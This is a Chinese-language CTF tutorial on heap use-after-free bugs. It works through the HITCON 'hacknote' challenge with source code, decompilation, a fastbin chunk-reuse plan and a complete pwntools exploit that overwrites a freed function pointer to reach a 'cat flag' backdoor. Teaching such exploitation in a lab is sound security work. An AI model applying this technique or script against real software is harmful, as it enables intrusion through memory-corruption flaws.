Use After Free
一、原理
Use After Free为当一个内存块被释放之后再次被使用。
具体分以下几种情况
1 . 内存块被释放后,其对应的指针被设置为NULL,然后再次使用,自然程序会崩溃。
2 . 内存块被释放后,其对应的指针没有被设置为NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
3 . 内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
Use After Free漏洞主要是后两种。此外一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL; //设置为空指针
printf("this pogram will crash...\n");
a->func("can not be printed...");
}
二、例题
0. 例题环境
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote
// 源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct note {
void (*printnote)();
char *content;
};
struct note *notelist[5];
int count = 0;
void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts("Full");
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) {
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i]) {
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if (!notelist[i]->content) {
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
count++;
break;
}
}
}
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
void print_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]);
}
}
void magic() { system("cat flag"); }
void menu() {
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch (atoi(buf)) {
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}
1. 基本信息
$ checksec hacknote
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE ( 0x8048000)
$ file hacknote
hacknote: ELF 32 -bit LSB pie executable, Intel 80386 , version 1 ( SYSV) , dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[ sha1] = 68203ba307523a574ca3ccbd6d0126b334524614, for GNU/Linux 3.2 .0, not stripped
2. IDA分析
设置程序的基址:Edit–> Segments–> Rebase Program改变基址0x8048000
// 主逻辑是菜单选择项,具备增加note、打印note和删除note的选项
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+0h] [ebp-10h] BYREF
unsigned int v5; // [esp+4h] [ebp-Ch]
int *v6; // [esp+8h] [ebp-8h]
v6 = &argc;
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf); //atoi(buf)"用于将字符串转换为整数
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice");
}
else
{
switch ( v3 )
{
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
default:
goto LABEL_12;
}
}
}
}
unsigned int add_note()
{
int v0; // esi
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
// .bss:00004020 count dd ? ; DATA XREF: add_note+1E↑r
if ( count <= 5 ) // 最多添加5个note count是全局变量
{
for ( i = 0; i <= 4; ++i )
{
//.bss:0000400C notelist dd ? ; DATA XREF: add_note+4F↑r
// dword_0[0] = 0x00000000 dword_0[1]= 0x00000008
// *(int *)((char *)¬elist + (_DWORD)&dword_0[i])
// 获取notelist偏移一个4字节的地址,转换为int *类型后然后取其值,即notelist[i],这里我将其全部替换
if ( !notelist[i])
{
notelist[i]= (int)malloc(8u); //0x8 用户申请内存大小 + 32位下chunk头大小 0x8 = 0x10
if ( !notelist[i])
{
puts("Alloca Error");
exit(-1);
}
// 将notelist[i]的地址转换为(_DWORD **),一个指向DWORD*的指针,然后解引用两次即取值
// 结构体指针(地址)保存了两个指针(地址),第一个指针(地址)保存了printnote函数的地址,这样可以获得notelist[i]->printnote
// **(_DWORD **)((char *)¬elist + (_DWORD)&dword_0[i])替换为notelist[i]->printnote
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf); //将buf字符串转换为整型
v0 = notelist[i];
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*(_DWORD *)(notelist[i]+ 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(notelist[i]+ 4), size);//向malloc(size)地址写入内容
puts("Success !");
++count;
return v5 - __readgsdword(0x14u);
}
}
}
else
{
puts("Full");
}
return v5 - __readgsdword(0x14u);
}
// 删除的时候,只是单纯进行了 free,而没有设置为NULL,那么显然,这里是存在Use After Free的情况的
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(int *)((char *)¬elist + (_DWORD)&dword_0[v1]) )
{
free(*(void **)(*(int *)((char *)¬elist + (_DWORD)&dword_0[v1]) + 4));
// free(notelist[v1]+4)
free(*(void **)((char *)¬elist + (_DWORD)&dword_0[v1]));
// free(notelist[v1])
puts("Success");
}
return v3 - __readgsdword(0x14u);
}
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(int *)((char *)¬elist + (_DWORD)&dword_0[v1]) )
(**(void (__cdecl ***)(_DWORD))((char *)¬elist + (_DWORD)&dword_0[v1]))(*(int *)((char *)¬elist + (_DWORD)&dword_0[v1]));
// **(void (__cdecl ***)(_DWORD))notelist[v1](notelist[v1]) 即去执行print_note_content(notelist[v1])
return v3 - __readgsdword(0x14u);
}
// .text:08048986 public magic 后门函数
int magic()
{
return system("cat flag");
}
3. 利用分析
Use After Free的情况确实可能会发生,利用思路为通过Use after free来执行magic函数。
1 . 分析add_note( ) 函数
add_note( ) 函数具有2个malloc函数
第一次malloc:
(1)*( int *) (( char *) & notelist + ( _DWORD) & dword_0[ i] ) = ( int) malloc( 8u) ;
(2)malloc的用户内存大小为0x8,加上32位下的chunk header大小0x8,实际申请的chunk大小为0x10,满足32位下的内存对齐,而且在malloc和free时为fast bin chunk
另外需要注意的是malloc返回的指针是指向userdata的初始地址的
(3)**( _DWORD **) (( char *) & notelist + ( _DWORD) & dword_0[ i] ) = print_note_content;
notelist[ i] 是第一次malloc( 0x8u) 的用户数据部分,指向的是print_note_content的函数指针
第二次malloc:
*( _DWORD *) ( v0 + 4 ) = malloc( size) ;
通过分析函数可以知道notelist[ i] +4是第一次malloc( 0x8u) 的用户数据部分,其保存的是指向content的指针
所以每一个note生成的具体流程
( 1 ) . 程序申请8字节内存用来存放note中的print_note_content函数指针以及content指针。
( 2 ) . 程序根据输入的size来申请指定大小的内存,然后用来存储content。
+----------------------------+
| print_note_content pointer |
+----------------------------+
| content pointer | --------> +----------------+
+----------------------------+ | |
| real |
| content |
| |
+----------------+
2 . 分析del_note( ) 函数
del_note( ) 函数具有2个free函数
第一次free:
free( *( void **) ( *( int *) (( char * ) & notelist + ( _DWORD) & dword_0[v1]) + 4 )) ;
释放了real content的指针,但是content pointer并没有设置为null
free( *( void **) (( char * ) & notelist + ( _DWORD) & dword_0[v1])) ;
释放了note的指针,但是note pointer并没有设置为null
3 . 分析print_note( ) 函数
( **( void ( __cdecl ***) ( _DWORD)) (( char * ) & notelist + ( _DWORD) & dword_0[v1])) ( *( int *) (( char * ) & notelist + ( _DWORD) & dword_0[v1])) ;
4 . 总体利用思路
修改note的print_note_content pointer为magic函数的地址,从而实现在执行print_note中的print_note_content函数时执行magic函数。
由于程序中只有唯一的地方notelist[ i] -> printnote = print_note_content; 进行赋值。所以必须利用写realcontent的时候来进行覆盖。
具体思路如下:
note是一个fastbin chunk,大小为16( 0x10) 字节。
realcontent是一个可以控制的chunk,可以为fastbin chunk,也可以为其他类型bin的chunk
( 1 ) 申请note0,real content size为16(大小与note大小所在的bin不一样即可)
( 2 ) 申请note1,real content size为16(大小与note大小所在的bin 不一样即可)
( 3 ) 释放note0
( 4 ) 释放note1
( 5 ) 申请note2,并且设置real content的大小为8
( 6 ) 向note2 real content的chunk部分写入magic的地址( 0x4) +任意地址( 0x4) ,由于note0指针没有设置为NULL。再次尝试输出note0的时候,程序就会调用magic函数。
4. GDB调试
使用exp的pwntools的gdb.attach( r) 进行调试
heap
fastbins
heapinfo
parseheap
5. Expolit
from pwn import *
def addnote ( size, content) :
r. recvuntil( b":" )
r. sendline( b"1" )
r. recvuntil( b":" )
r. sendline( str ( size) . encode( 'utf-8' ) )
r. recvuntil( b":" )
r. sendline( content)
def delnote ( idx) :
r. recvuntil( b":" )
r. sendline( b"2" )
r. recvuntil( b":" )
r. sendline( str ( idx) . encode( 'utf-8' ) )
def printnote ( idx) :
r. recvuntil( b":" )
r. sendline( b"3" )
r. recvuntil( b":" )
r. sendline( str ( idx) . encode( 'utf-8' ) )
r = process( './hacknote' )
magic = 0x08048986
addnote( 32 , b"aaaa" )
addnote( 32 , b"bbbb" )
delnote( 0 )
delnote( 1 )
addnote( 8 , p32( magic) )
printnote( 0 )
flag = r. recvline( )
print ( flag)